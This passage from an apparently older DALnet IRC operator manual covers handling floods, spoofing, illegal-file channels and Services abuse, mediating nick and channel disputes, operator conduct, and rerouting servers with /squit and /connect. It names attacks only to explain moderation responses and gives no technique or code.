Getting ops and using a kick/ban is really only needed in special situations

(banning a repeat flooder or many flooders, or trying to fix a desynch, for

example).  However, IRC opers should not need to "babysit" channels, each

channel should keep a sufficient number of AOPs to deal with channel problems.

If a channel has recurring problems due to no ops, try to contact the founder

or SOPs and request them to add more AOPs.

  6.5.8  HOW TO DEAL WITH: ICMP FLOODING AND OTHER NON-IRC MATTERS

  ----------------------------------------------------------------

  There is a group of attacks such as ICMP floods, winnukes, sspings and the

like that do not travel through DALnet, rather they are client to client

attacks (they work using a similar method as DCC).  They typically make use of

a bug or problem in operating systems.  ICMP flooding works like a flood on

IRC, except that instead of using IRC messages for flooding they use ICMP

messages which aren't usually visible to the user at all.  Although the actual

attack is not happening over DALnet, the necessary info (the user's hostname or

IP address) for making it is obtained through IRC.  Because of this it is an

IRC problem, or a form of attack that is done "on IRC".

  Dealing with these kind of problems is handled a lot like flooding.  If you

are being ICMP'd or otherwise attacked in this manner yourself, you may kill

the offender (if you are sure of who it is).  However, if a user complains to

you of being attacked, there is the question of whether you can believe it or

not.  Unfortunately, getting any sort of proof is much more difficult than for

flooding.

  Perhaps the best advice you can give is to tell the user the following:

    "ICMPs (replace ICMP with offence) do not travel through DALnet.  If you

    can, log the offender's IP, hostname and an accurate time/date stamp, and

    send it to his Internet Service Provider along with the complaint.  They

    will deal with it accordingly."

  Also advice the user on how to get a fix for the problem and how to detect

and log these attacks, if you know that.

  In the case of more exotic attack methods, such as mail-bombing or sending

fake emails, DALnet is not involved at all.  Thus, these are not handled on

DALnet.  Any complaints should be taken to the appropriate ISP.

  6.5.9  HOW TO DEAL WITH: SPOOFING

  ---------------------------------

  Spoofing means faking info, usually on IRC this means faking address info as

something else than what is real.  This can be used to just hide the real

information, or to impersonate someone (this would even fool Services in cases

where it relies on just the address for identity checks).

  DALnet servers have an anti-spoof check for connecting users which prevents

IP-spoofing, where the user fakes the IP address from where he/she appears to

come.  However, there is another type of spoofing, called DNS-spoofing, which

is still possible (though not easy, nor common).  The problem is not in the

ircd in fact, but in the DNS software run on the server computer, and the whole

DNS protocol itself which allows this to happen.

  If someone is DNS spoofing, he/she may set the hostname which is shown on

DALnet.  However, the real IP address is still known to the server which the

user uses to connect, and can be seen with the command "/stats L <nick>".  This

can be used to trace down the person who is doing this.  (See section 4.1.2 for

more information about the /stats command.)  A DNS spoofer may be prevented

from connecting to a server by the use of Z:lines, via the /zline command (see

section 3.2.12 for an explanation).

  Spoofing is of course not allowed on DALnet.  It is not possible to do it "by

accident", which should be kept in mind when dealing with any spoofer.

  6.5.10  HOW TO DEAL WITH: WAREZ AND CHILD PORNOGRAPHY TRADING

  -------------------------------------------------------------

  This has always been a touchy issue.  Mainly, channels for trading warez

(illegally copied software) and child pornography are to be shut down ONLY by

official closers.  The debated policy is that it would be best if these kind of

illegal matters would be handled by the appropriate legal authorities.

  You might get users complaining about this degrading act.  All you can

really say is:

    "If you'd like, log the channel activity, make sure you get accurate

    timestamp and the addresses of the offenders, and send it to

    policy@dal.net."

  You also may not kill offenders at your own will for trading illegal files.

However, it is often done by using unregistered fserves and bots on servers

which do not allow them -- and this is a valid reason for a kill.

  6.5.11 HOW TO DEAL WITH: SERVICES ABUSE

  ---------------------------------------

  Services abuse means a variety of things, generally using Services in any

way it hasn't been meant or planned for, or not following other DALnet rules

concerning the use of Services.  In practice this usually means stealing

nickname and channel registrations (through whatever means) or doing anything

to hinder the performance of Services, for example by flooding it or using up

more than a normal amount of resources (registering too many nicks, filling up

the AOP list with too many entries, etc.).

  Depending on what kind of Services abuse is in question, you may or may not

be able to address the issue yourself as an IRC operator.  For the cases where

you cannot solve the issue yourself, ask either a SA or CSop to look into the

matter.  If you are a CSop, and still can't solve it yourself or are unsure of

how to proceed, you may send a report to service@dal.net (Services roots).  The

first step should always be to talk to the user and try to convince him/her to

stop the Services abuse.  Leniency should be practiced when the abuse has been

unintentional.

  The ChanServ count command can be very helpful in checking for excessive

AOP/SOP/AKick entries.

  6.6  DISPUTE MEDIATION

  ----------------------

  IRC operators are not IRC cops, although many people believe this

misconception and may even ask questions that could be asked from a law

enforcement officer.  While you are not an IRC cop, it does become the role of

a DALnet IRC operator to help maintain DALnet as a safe, fun and friendly

environment for our users to IRC in.  As DALnet grows, its opers find

themselves increasingly more involved in disputes between DALnet's users.

  General rules of thumb when dealing with disputes include:

  - Clearly identify yourself as an IRC operator

  - Don't hesitate to consult with another IRCop/Admin if you have any

    questions

  - Enforce the DALnet policies and remember that an IRC operator is not a cop

When mediating a situation, the recommendations about conduct in section 6.2.3

will also prove invaluable.  Remember to also let the users know that you want

to help.

  Disputes generally fall into one of four categories; nick ownership, channel

ownership, channel control (ops/kicks and bans/takeover attempts), or

inappropriate behaviour such as harassment or flooding.

  6.6.1  NICK/CHANNEL OWNERSHIP: THE PASSWORD RULE

  ------------------------------------------------

  If a password has been given to someone, so has the right to that particular

channel or nick.  Sometimes learning is a painful experience, but you cannot

make exceptions to this rule.  It is the responsibility of the original owner

to protect their channels and nicks by keeping their passwords secret and

secure.

  6.6.2  NICKNAME OWNERSHIP

  -------------------------

  DALnet's NickServ allows a user to register (own) a nick.  The nick may be

taken by another user under certain circumstances such as when NickServ is

down, by getting (guessing) the password for the nick, or when the registered

owner did not set nick kill enforce on and someone else is using the nick

despite warnings from NickServ.  To see who the registered owner of a nick is

use NickServ's info command and then compare the address with that of the user

making the complaint and/or using the nick.  A CSop will be able to help

determine who owns the nick and recover the password if it is appropriate to do

so.  Checking NickServ logs can also be helpful.

  There have also been complaints from users about others using similar nicks

such as variations in spelling or just adding '_' before or after the nick.  In

this case, try to help de-escalate the situation, but also keep in mind that you

cannot ask a user to change nicks just because it is similar to someone else's.

  There have been cases of a nick registration expiring and another user

registering the same nick.  In this case, the first user may want to register a

similar nick using '_' or other characters, however when the registration is

allowed to expire we cannot ask the new registrant to return the nick to the

first user.

  6.6.3  CHANNEL OWNERSHIP

  ------------------------

  DALnet's ChanServ allows a user to register (own) a channel.  At times there

are disputes over channel ownership such as when someone has gotten the

founder's password and changed it so that the founder is no longer able to

control the registered channel.  A CSop will be able to help determine who owns

the channel and recover the password if it is appropriate to do so.  Checking

ChanServ logs can also be helpful in determining proper ownership.  Please

remind users to pick a password that is not easy to guess and to not give it to

others.  In cases where channel SOP has been given access to the password by

the founder and taken over the channel, all you can do is ask the new founder

to give the channel back.  This is possibly one of the most difficult

situations for an IRC operator to mediate, as generally both sides will be

unwilling to negotiate.  If nothing can be decided between the parties, the

ownership right should fall to the new founder.

  6.6.4  CHANNEL CONTROL

  ----------------------

  DALnet's Services helps address the problem of channel takeovers, however

the attempts continue to become more frequent as well as more creative.

Techniques include joining the channel during a netsplit to get ops, talking

other ops into giving them ops and even attempts to kill off ops by flooding.

By the time the problem comes to the attention of an IRC operator there are

usually several very upset legitimate users of the channel as well as at least

one determined and often hostile intruder.  In most cases it is helpful to ask

other IRCops/Admins to assist.  This way someone is available to address the

questions and concerns from the channel users, while another may address the

users attempting the takeover.  In rare cases you may also need to ask a

services operator (SA) to assist, since they are able to op you or themselves

on the channel through the use of OperServ.

  In situations when a channel's users or ops complain about how the channel is

run, the issue should be solved by SOPs and (ultimately) by the founder.  The

founder has full control over the channel and may run it as he or she pleases.

  6.6.5  INAPPROPRIATE BEHAVIOUR

  ------------------------------

  DALnet's goal is "to provide a network where people can talk with each other

and enjoy themselves" meaning that "nobody is allowed to flood another user,

take over another's channel or otherwise interfere with another user's ability

to IRC.  Anyone blatantly violating this will first be /kill'd then, if the

person persists in annoying other people he/she will be K:lined...".

"Annoying, in this context, refers to ban evasion, continued pestering of

someone despite /ignores and /bans, and especially flooding."

  Complaints about the behaviour of others vary and can sometimes be rather

vague.  The user making the complaint is often upset which can make it harder

to objectively state what happened.  (It can be helpful to see a log if

available, however be aware that logging is also a sensitive issue for some

users.)  First try to determine what happened as this will also clarify whether

it is a channel matter for the channel founder and ops to handle, or something

which requires the intervention of an IRC operator.

  Find out the nick of the individual(s) about which the complaint is made and

try to establish contact with them, usually via private messages.  There have

been situations in which false or exaggerated complaints were lodged during a

disagreement so it is helpful to initiate contact in a fair and non-threatening

way.  The individual may be more cooperative if you begin by asking if there is

a problem and how you could help.

  For example, a user complained that she went to a channel and was harassed

in private messages and on channel with profanity and inappropriate remarks

then kicked and banned for no reason.  Initially the angry channel founder and

ops responded harshly giving the impression that they were behaving

offensively, but eventually they were able to explain that the user making the

complaint had actually been harassing them by coming to the channel with

different nicks and being inappropriate toward them all evening.  Their

patience wore thin and they responded by telling her off and banning her.  They

were further upset that she then complained about them.  The situation turned

out to be different than it first appeared on the surface.

  It is often possible to resolve a problem via private messages, however at

times it's helpful to open a channel and meet with both parties there.  Keeping

distractions to a minimum is best, so the channel should be secret or private,

and perhaps invite only.  If necessary, this channel may be moderated to

further control of the discussion until all involved are able to discuss the

matter calmly.

  Whether on a channel or in private messages, ask both parties to explain what

they think the problem is and how it might best be resolved.  When identifying

possible solutions, try to allow for all possible solutions to be included

without judgement, so that everyone will have an opportunity to contribute to

the decision making process.  This helps you to maintain the role of mediator

rather than assume the work and responsibility of a judge / parent / decision

maker.  Inappropriate solutions will be eliminated quickly when weighing the

advantages and disadvantages of each.  This helps so that the users are

responsible for making the solution work rather than the oper being in the

position of enforcer.  At the same time, establish a back up plan.  In the

event that the agreed upon solution fails, be sure both parties know what to

expect next, as well as whom to contact with further questions or concerns.

  In addition to this text, see section 6.5 on policy enforcement for more

information on how to deal with specific instances of inappropriate behaviour

not allowed on DALnet.

  6.6.6  GENERAL GUIDELINES

  -------------------------

  Steps in problem solving:

  1. State the problem clearly.

  2. Identify possible solutions.

  3. Weigh the advantages and disadvantages of each possible solution.

  4. Select one possible solution and plan to implement it.

  5. Agree to try another if it doesn't work.

  A large number of problems and conflicts between users are caused because

something was not stated clearly.  Sometimes it is appropriate to remind

channel ops that if users are kicked and/or banned without a reason being

provided, it is possible for the user to become frustrated and create even more

problems for the channel and its users.  This should never be stated as a rule

as it is up to each channel to decide how it should be administered, but it is

often worth mentioning.

  Wherever possible, a situation which requires the intervention of an IRC

operator should be an educational experience for all parties.  Turning a

negative event into a positive learning experience can only benefit DALnet's

reputation as a friendly and caring one, and this should be strived for.

  If you feel that JAG or other Admins/IRCops will be consulted about

transpired events in the future, try to compile a written summary as soon as

possible.  This will help prevent any confusion later.  Also consider logging

the discussions (remember to ask for a permission, or at least state that you

are doing so).

  Please remember too, that while everyone has different values and opinions,

in your capacity as a DALnet oper you should strive to remain as objective and

impartial as possible.  If you feel you are unable to adequately mediate or

intervene in a situation, PLEASE ask another oper to help.  DALnet's JAG is

available to assist in the resolution of disputes which remain unresolved.

Please contact JAG (jag@dal.net) for more information.

  6.7  TEAM ISSUES

  ----------------

  T = Together

  E = Each

  A = Accomplishes

  M = More

  The following guidelines apply to all the teams on DALnet: server teams, the

functional/service teams, even to the all-encompassing "DALnet Team" to some

extent.

  A team is a group of people that have the same set of goals and objectives.

Being part of a team allows the members to have more information and knowledge

available to the entire team.  This means that where one team member has a

weakness, another may have a strength.  This provides a greater range of

options, and a relief/interchange of duties for all team members.

  Teams are developed through administrative support.  Your superior (admin

for operators, team leader for other teams) will be providing you training as

an individual, and training in a group.  Check with your superior to find out

when staff meetings are scheduled.  Being in attendance at staff meetings and

in formal training is imperative to your success as a team member, whether that

is part of a server team or a service team.  In these meetings the team will be

able to process what they are doing well, and what they should do differently

in the future.  Updates will be given on changes in services and/or policy.

  Important things to do when you are part of a team:

  1. Keep your ego out of it. It doesn't matter who has the most experience

     and training. The team works together and uses everyone's knowledge.

  2. Don't be afraid to ask questions, or accept constructive criticism.

  3. Treat all team problems as confidential, as disclosure of problems often

     leads to making the problem worse.

  4. Stay openminded, and be willing to approach things in a new way.

  5. Make suggestions to the team in a way that helps build the team.

  6. Follow through on your commitments, and don't drop the ball if you have

     agreed to do something.

  7. Treat all team members with dignity and respect.

  Successful teams require work, and a dedication to the team you are on.

  6.7.1  HELP THE DALNET TEAM

  ---------------------------

  In general, try to be helpful, not just to the users but also to the other

members of the DALnet staff.  If an oper asks for help, please do so if it's

possible.  If an oper asks for comments in globops about something, see if you

can say something helpful and constructive.  If yes, consider whether you

should make the reply in a private message, or whether it's something that the

other opers should see too in globops.

  If other operators are busy with assisting other users or bringing the net

back together, offer to be of some help.  Especially at time of busy net times

(during prime-time hours, and at times of bad splits) there often are things

you can do as an oper.  In times of trouble, keep the users aware of the

current situation; consult other opers in globops on what is appropriate and

whether a wallops for informing the users (and non-opered opers too!) is

needed, or even a global notice, if the situation is extremely bad.

  As another way to help out, make an effort to visit help channels such as

#OperHelp and #DALnetHelp, particularly during heavy splits and when Services

is down.  These are critical times for people requiring information and also

the times when channels are the most vulnerable.  At the very least, if you

are not busy during these periods, try to have the +h user mode set (being a

HelpOp).

  6.8  PRIVILEGES AND RESPONSIBILITY

  ----------------------------------

  This should be self-evident, but I'm going to state it anyway.  DO NOT ABUSE

IRCOP COMMANDS.  This cannot be stressed enough, never use the special access

commands for personal reasons.  Another thing that cannot be said too often,

THINK BEFORE YOU ACT.  And if you can't remain calm and objective, deoper --

it's a very simple way to avoid annoying mistakes.

  Now that's out of the way, a few words about your position as an IRC

operator.

  As an oper and a member of the DALnet staff, you will sometimes hear things

about other people which need to be kept confidential: this may happen in the

course of dispute mediation, or disciplining a staff or user, or some other

instance.  When this happens, do not disclose any personal and confidential

information you hear.  This should be done so that the individual does not have

to suffer from embarrassment or distress, retaining their dignity and respect

and allowing them to work through difficulties.

  Another issue about confidentiality is that you will hear confidential

information about DALnet and related issues.  Examples of this are the messages

sent in globops, and postings on privileged mailing lists.  This information

should not be revealed to non-staff members.  This is extremely important with

sensitive topics such as security issues.

  To discuss another issue, you should remember that some users will "look up"

to you just because you are an IRC oper.  But being an IRCop is not about being

cool, it's about running and maintaining a service.

  As an IRC operator, you have access to a lot of things which give you "power"

on the network.  There are a lot of rules and guidelines on how these

privileges should be used.  However, don't be so scared of making mistakes that

you shy away from using your operator powers.  Remember, your admin obviously

trusts your judgement in using the operator commands and handling position, or

you wouldn't be an operator at all.  Remember that you are an IRC oper so that

you can help run the network.  If you don't use the IRCop commands when you

have the chance to help out, then you're not being of any help to the network

at all.  Do what you can to help out, and ask for guidance and help if you are

uncertain of how to do something.  You learn with experience.

  Everyone makes mistakes, that's human nature.  Try your hardest not to make

any, but if you do, follow these simple steps:

  1. Do your best to fix what you caused.  Tell your admin or a senior staff

     member about it.

  2. Learn from it.

  3. Carry on, it's not the end of the world.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Chapter 7.  REROUTING

=====================

  - Moving servers

  Rerouting means changing the configuration (or order, if you prefer that

term) of how the servers are connected to each other.

  This is one of the most complex issues for operators in controlling the IRC

network.  The difficulty is a combined result of that the used commands are not

the simplest, the network's structure is not always easy to understand from the

output of /links, and finally, the act of moving servers has a lot of

considerations to be taken into account.  Additionally, rerouting potentially

affects hundreds and thousands of users, and as such it should be done

carefully to minimize the amount of disturbance.

  To be a good router, you need to:

  1. Understand how an IRC network is laid out, and how the server links

     function

  2. Know how the commands work (/connect, /squit)

  3. Be able to determine the current state of the net

     - current layout (/links)

     - pinpoint problem links (/version server.*, /trace nick,

       /stats l server.*)

  4. Know which servers are hubs and which are leafs (this determines which

     servers can connect each other and which can't)

  5. Optionally, be able to determine current Internet connection status with

     traceroute and ping, and have experience in knowing which solutions work

     and which don't

  6. Decide based on all of the above what kind of rerouting is needed to make

     things better, if any, and then carry it out

  In addition to reading the information provided in this chapter, please also

take a look at the Routing Manual, intended for all IRC operators, written by

bits^ of the Routing Team.

  7.1  INTERNET ISSUES

  --------------------

  Connections between IRC servers are in fact established as standard TCP/IP

(Internet) connections.  This means that they go over Internet (that's where

the "I" comes from in IRC) and are affected by the status of the Internet

itself.  Because of this, Internet routing/connection issues also affect IRC

connections.  Here is a very brief explanation about that.

  Data in a TCP/IP connection is sent as "packets", ie. it's split up into

small chunks, some additional information (such as the destination and the

origination) are added to form a header, and then it's sent to the Internet

to be delivered to the target computer.

  Packets are transmitted over physical lines between "routers", each of which

looks at the destination address, and then sends it off over the next

appropriate connection to the next router, which hopefully is closer to the

destination.  This results in a "route" which the packets take between the

sending computer and the destination computer.  The connection between two

routers is also called a "hop", for example, you can count the number of hops

between two computers.

  Packets do not always make it to their destination.  A connection between two

routers may be down so that it won't work at all.  It can also may be saturated

or congested, in which case the packets get dropped by a router when they

cannot be delivered.

  Routers may also dynamically adjust how they handle routing, either by manual

configuration changes or by automatic changes.  This means that if one link in

the route between two computers is down, there may exist an alternate route.

  7.2  NON-IRC COMMANDS

  ---------------------

  When determining whether a particular connection between servers will work,

the only way to do it from IRC is to just try it out and see what happens.

There is really very limited amount of info possible to get on IRC about the

connections.  More information can be found out by using two non-IRC commands,

ping and traceroute, which are explained here.  These programs are widely

available for a lot of different platforms, usually as a part of the standard

network software package (on Microsoft platforms, traceroute is usually called

"tracert").

  7.2.1  TRACEROUTE

  -----------------

  Traceroute is a program for showing what route Internet data packets take

when sent from one computer to another, ie. which routers (and thus,

connections) they pass through.  Traceroute can only get information for routes

starting from the computer in which it is run -- if there are computers A, B

and C, and you are running traceroute on A, you can see the route between A and

B as well as between A and C, but NOT between B and C.

  Traceroute also gives information on how long each connection between two

different routers/computers (or, each hop) takes.

  7.2.2  PING

  -----------

  Ping is a program for "pinging" a remote host.  It sends repeated packets to

the other computer or router, asking for a reply.  It is possible to estimate

the quality of a link with ping, based on how long the packets take to make the

roundtrip, and what the packet loss percentage is (how many of the packets

disappear).  Of the two, packet loss is the more significant one, as that has

much more effect on how well an IRC connection will function.  However, packet

loss can vary a lot, and routes with higher ping times tend to have more packet

loss overall (this is just a general rule and there probably exist a lot of

contradictions to it).

  7.3  WHEN SHOULD SERVERS BE REROUTED, AND WHERE TO

  --------------------------------------------------

  It is very difficult to give hard and fixed rules for which servers should

be placed on which hubs, and how hubs should be interconnected.  The overriding

rule is "anything that works", and sometimes that can be found only by trial

and error.  Another good rule to go by is "if it works, don't mess with it". :)

Reroutes should not be done lightly, as sometimes keeping the network together

is hard enough as it is.

  As a general rule, operators of the server to be rerouted should be handling

it.  This is both because they will be the most familiar with the server and

its connections, as well as are the best suited for it (local connects are

always better than remote connects).  If there are no opers from a particular

server present, it can be rerouted by any operator.

  Routing Team members also handle a lot of the rerouting.  The Team designs

DALnet's routing issues as well, and decides which servers are to act as hubs.

You should always keep up to date on the current hubs at least, so that you

know what options you have for routing.

  When deciding if a reroute is needed, it is always a judgement call.  The

relevant issues are how much inconvenience would be caused to the users (and

how many users), vs. what would be the benefits?  If the network is running

fine without any lag or other problems, there really aren't that many good

reasons for a reroute -- only in case a hub is expected to be going down for

example.  On the other hand, if there have been continuous splits for the past

30 minutes, another reroute is certainly worth doing (even though it would

affect thousands of users), if it even has a chance to improve the situation.

  Experience is an important factor here, it can help a lot.  If you haven't

done much rerouting, you probably should ask a more experienced oper to help

you and give you guidance with the rerouting.  Always ask for opinions from

other operators! (Even if you ARE an experienced IRCop.  See the rerouting

procedure below.)  This is very important, since other operators may have

information that you don't about the situation.  It also helps to prevent

accidents and mistakes in rerouting, for example rerouting of a "lagged" link

which is, in fact, working fine -- while the real problem is elsewhere.

  Common reasons for rerouting are to get rid of lag, changing to a better link

in order to get rid of continuous splits, or to reroute leafs off hubs when

that hub is expected to be going down in the near future.  These are discussed

in detail in the following sections.

  As a special case, services.dal.net should NEVER be rerouted -- it is not

possible to use a /connect to bring it back to the network, if it is missing.

  7.3.1  REROUTES TO REDUCE LAG

  -----------------------------

  Servers should be rerouted if there is noticeable lag between two servers,

and the lag keeps up for more than a few minutes.  The problem is usually in

determining exactly which server-to-server connection is the source of the lag.

There are several ways to detect this.

  One of the more obvious ways is to ping a user on the server in question.

However, constant pings can become extremely annoying to the user you're

pinging.  In addition, there may be lag between the user and his/her server (if

he/she is connected via modem and is downloading a large file, for example).

Instead of pinging, doing a /trace command on a user on the lagged server can

be much better, as it won't bother the user in question, as well as letting you

know which link it is that is lagging.

  Another method is to use the "/version <server.*>" command, or some other

command that returns information from the remote server, such as "/stats u

<server.*>" or "/admin <server.*>".  Using a stopwatch or some other form of

timekeeping, see how long the reply takes to come back to you.  If it's a few

seconds, that's fine.  If it's much more than that, then it may be time for a

reroute.  Try a couple more /version (or other appropriate) commands within the

next minute or two; if they come back equally or more lagged, then you can be

more sure it's time to reroute.  But also do a "/stats l" check (discussed

below) before doing a reroute.

  With the "/stats l" command, you can view connection statistics for the

server you are using, or for remote servers.  The most interesting value in

these statistics is the sendQ, which is the first number on each line right

after the connection name.  See section 4.1.2 for an explanation of this

command.  In most cases the command is only meaningful when used on a hub,

since usually the connection from the hub to the leaf is the one that's going

to be lagged.

  If you are able to do "/stats l" checks from both sides of the lagged link,

it's possible to determine if the lag is "one-way".  This means that only ONE

direction is lagged, ie. one server has trouble sending to the other while the

data going in the other direction is not lagged.  Using pings, /version checks

or other such commands will not reveal whether lag is one-way or not, since

they require a message to first travel one way and then back.

  DALnet's standard Y:lines allow for a sendQ size of 3.5 million to leafs, and

4 million to hubs (that is, 3.5 million for connections from a hub to a leaf,

and 4 million for a connection from a leaf to a hub, or a hub to a hub) --

although these are subject to change.  If the sendQ value you see is higher

than about half a million, and continues to climb on subsequent checks, then

chances are it's time for a reroute.  Likely, such a link will eventually split

on its own, either with a "ping timeout" or "max sendq exceeded" error.

  When in doubt, ask someone (a member of the routing team, if possible). :)

  7.3.2  REROUTES TO REDUCE SPLITS

  --------------------------------

  At particularly bad times, there may be continuous splits, with servers

"splitting left and right": when one server connects, another splits.  One

reason for this is the "cascading splits problem", when the splitting of one

server (or a rejoin) causes a split elsewhere, because both a split and a new

connection cause a "burst" of messages sent between the servers.  If a

connection is strained already, this burst may result in that connection

splitting, making the situation worse again.

  Another situation is where a particular connection between two servers just

won't work: the connection gets established, but soon splits again.  Because

of autoconnects, this can happen over and over again.

  In both of these situations human interference may make the situations

better.  Autoconnects are only automated rules for connections, they don't have

any kind of intelligence.  In order to make a situation better, determining

which connections won't work and trying alternatives to them will usually solve

the problem.  Though, sometimes things settle only with time.  A good thing to

do is to make sure each connection has been synched before doing the next one,

so that the connection bursts don't happen at the same time and place more

stress on the existing network connections than they can handle.

  7.3.3  REROUTES DUE TO HUB ISSUES

  ---------------------------------

  Sometimes it is necessary to reroute servers in anticipation of possible

problem situations.  For example, if a major hub is expected to go down for

whatever reason, it makes sense to reroute all the leaf servers off that hub in

advance, one by one.  If nothing is done in advance, the leafs would all get

split off as the hub goes down, all reconnecting at the same time, causing much

more of a strain to the network than had they been moved one by one.

  Another similar situation is a case when a hub has many leafs, and can't

take the load of them all with increasing usage (for example, when time is

getting nearer to prime time).  In such a case the load may be reduced by

rerouting a leaf server or two to another hub.  This is something the operators

on the hub server usually take care of, as they can best monitor their own

server's performance.

  7.4  REROUTING PROCEDURE

  ------------------------

  The following steps should be used when rerouting:

  1. Determine the need to reroute a server/connection.  Find out which

     connection is the source of problems, if any.

  2. Send a globops message about this, asking for comments.  If you have a

     plan or suggestion, state that too.  For example, "*GLOBOPS* JoeOper:

     ohare seems to be lagging on toronto, any comments on moving it to

     trapdoor?"

  3. Wait for a response, if any.  Give the other opers at least a couple of

     minutes to react, there could be lag or perhaps they just are in the

     middle of something and cannot respond immediately.

  4. If deemed necessary (in the instance of a major reroute), send a wallops

     message.  This should also be something that is decided jointly by the

     opers.  If the reroute concerns only moving a single server, another

     possible method to alert the users of that particular server is to send a

     server notice (see section 4.2.2).  This should preferably be done only

     when you are yourself using that server.

  5. Use the /squit command to disconnect the appropriate link.  Use of the

     /squit command is explained in section 3.2.6.

  6. After the link has been squit'ted, use /connect to reconnect the server(s)

     back in a new location.  The /connect command is explained in section

     3.2.5.

  7. If more than a one server is rerouted, wait for the first connection to

     synch before starting to reroute the next one.  This places less stress on

     the other network connections.

  8. Optionally, make a wallops announcement when the servers have synched up,

     letting the interested users know that things are working smoothly again.

  Please note that these steps do not necessarily have to be done by the same

operator!  Team work can make things much simpler, for example with JaneOper

doing the /squit and JoeOper the /connect.  In this case, coordination is very

important -- if someone is doing a reroute, do not try to "help" out of the

blue without telling about it!

  7.5  WHAT CAN GO WRONG

  ----------------------

  The /connect command only makes a server ATTEMPT a connection, it doesn't

mean one will be established for sure.  The following sections list the common

(and even some uncommon) errors and things which can go wrong.

  7.5.1  AUTOCONNECTS

  -------------------

  It sometimes happens that before you can do a manual /connect, an autoconnect

on some server interferes and connects one of the servers in question.  Usually

this doesn't have even nearly the same effect as what the human was planning,

so it can be rather annoying.  Your choices are to either /squit the new

connection immediately, before it has synched, or to wait and see what comes of

it.

  7.5.2  NO C/N:LINES

  -------------------

  This may happen if either the originating server is missing a C:line (in

which case you get a "host not listed in ircd.conf" error), or if the target

server has no N:line for the connecting server (the error would be "no N:line"

then).  Two servers need to have exchanged C/N:lines in order to be able to

connect to each other.

  7.5.3  NO RESPONSE

  ------------------

  No response is the a very common error, usually due to bad Internet routing,

or because the server computer is down.  It means that there wasn't any kind of

response to the connect attempt.

  7.5.4  WRITE ERROR

  ------------------

  A "write error" means that the target computer is up, but it didn't accept

the connection to the specified port.  The default port is set in the C:line

and on DALnet it is usually 7325, this is used if no port is given in the

/connect attempt.

  There are two common reasons for this error: either ircd is not running, or

the remote server thinks that the connecting server already exists on the

network (it would display "server already present").  (Related to "server

exists", explained in section 7.5.8.)

  This error could also be the result of a wrong IP-number in the connecting

server's C:line.  In this case, the connection gets attempted to the wrong

computer entirely!  That computer is not likely to have an IRC server running,

so attempts to connect to the ircd port will fail.

  7.5.5  WRONG IP

  ---------------

  If the target server's N:line has a wrong IP-address listed for the

connecting server, it will refuse the connection.

  If the C:line has a wrong IP-number, then the error is likely a "no response"

or "write error" (see above).

  7.5.6  BAD PASSWORD

  -------------------

  In addition to other security measures, in order for two servers to be able

to connect to each other, their respective C/N:lines must have matching

passwords.  The connection will fail with "password mismatch" or "bad password"

if the passwords don't match.

  7.5.7  I'M A LEAF NOT A HUB!

  ----------------------------

  The "I'm a leaf not a hub!" error means that a non-hub server would have

ended up with more than one server connection.  Because this is not allowed for

leafs, the connection is rejected.  This might happen, for example, if a leaf

hasn't noticed yet that its uplink connection to the hub has split, and another

hub tries to connect to it.

  7.5.8  SERVER EXISTS

  --------------------

  Another common error, especially in times of bad routing, is "server exists".

This means that the target server thinks that the connecting server already

exists on the network (as seen from its point of view).  This happens typically

when a connection gets split but one server doesn't notice it as soon as

another, and then the other tries to reconnect back.  It might also happen if

some other connection is lagged, in which case the message about the split is

lagged too and takes time to reach the "other side of the network".

  7.6  REROUTING EXAMPLE

  ----------------------

  Suppose that the leaf server gothic.dal.net is connected to the hub

trapdoor.dal.net, and you happen to notice that the connection is badly lagging

(you are not using gothic yourself).  First you should wait a little while and

keep checking, to see whether the lag clears on its own or not.  In this case,

it doesn't, so you decide that maybe it would help to try to connect it to

another hub, for example voyager.

  You send the following globops about the situation:

    /globops Any gothic opers here? It seems to be lagging on trapdoor... Any

    objections to moving it to voyager?

  You get a few replies saying that it's ok to try to move it.  No gothic opers

respond who you could ask to do the reroute, so you proceed yourself with it.

In order to let the interested users (and non-opered opers) know about the

reroute, you send a wallops:

    /wallops Rerouting gothic from trapdoor to voyager to get rid of lag.

    Stand by, and sorry for the upcoming split.

(In practice, usually no wallops message is sent when rerouting a single leaf,

but it is included here for the sake of the example.)

  Next you disconnect gothic from trapdoor with an appropriate reason:

    /squit gothic.* Rerouting to voyager

  After you receive the confirmation that the link to gothic has been squit'ted

(and thus, gothic is split from the rest of the network), you go on and tell

voyager to attempt to connect to gothic:

    /connect gothic.* 7325 voyager.*

  Voyager reports that it has established a connection to gothic, however

gothic refuses the connection because "server exists".  This is because gothic

was lagged from trapdoor, and it still hasn't noticed that the link has been

disconnected.  Even the message telling that the link has been disconnected is

lagged!

  You try the same /connect command again.  Again voyager tells that it has

connected to gothic, but this time there is no error message, and the

connection holds.  You keep watch in case the new connection shows signs of

trouble, but the sendQ for gothic on voyager steadily goes down, until it's

close to zero and you can get an immediate response to a "/version gothic.*"

command.  The reroute is now complete.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Chapter 8.  DALNET ORGANIZATION

===============================

  - In and outside of IRC

  As DALnet has grown from a small fledgling net into a full and popular IRC

network, the administrative issues have also gotten much more complex.  This

chapter explains about how DALnet's organization is set up.  Also see the

explanation of what DALnet is, in section 2.16.

  DALnet maintains support services for both the users and the administration.

With the aid of these services, a lot of the DALnet management actually happens

OUTSIDE of the actual IRC network.

  8.1  SERVERS, TEAMS AND OTHER GROUPS 

  ------------------------------------

  The various DALnet teams and groups form the administrative foundations of

DALnet.

  First, there are the "Server Teams" -- depending on which server you have

your primary O:line, you belong to the team of opers for that server.  Some

servers have tight teams, while others don't make it into an issue at all.

The admin of each server has ultimate control on how that server is run, and

decides on server-specific issues such as who gets an O:line, what the MOTD

message says, etc.  Some admins choose to share this with the server operators,

letting selected people have access to the config files and asking for opinions

from the operators in the server-specific issues.

  The various other teams and groups can be divided roughly into two:

administrative and broad policy/decision making groups, and those which center

on providing a particular service or work on a specific aspect of DALnet

development and maintenance.

  The admins of each server form a fundamental DALnet group in itself.  Admins

are responsible for running the servers, and such they have control over a

critical part of DALnet.  The main ruling and decision making body is called

the Executive Board (EB), which makes decisions on broad network and policy

issues.  For example, the EB decides on which servers get linked, based on the

expressed opinions from the admins.

  There are a lot of service teams and groups which focus on taking care of a

particular DALnet service or issue.  The service and development teams are

essential to the service DALnet provides to its users.  Please, if you have a

field of interest or want to help out, consider joining one or more of the

groups.  There is no general rule for all the teams and groups to decide on

membership.  Some are open to everyone, some are decided internally by the

team, and some choose to only get new members by asking someone to join.  If

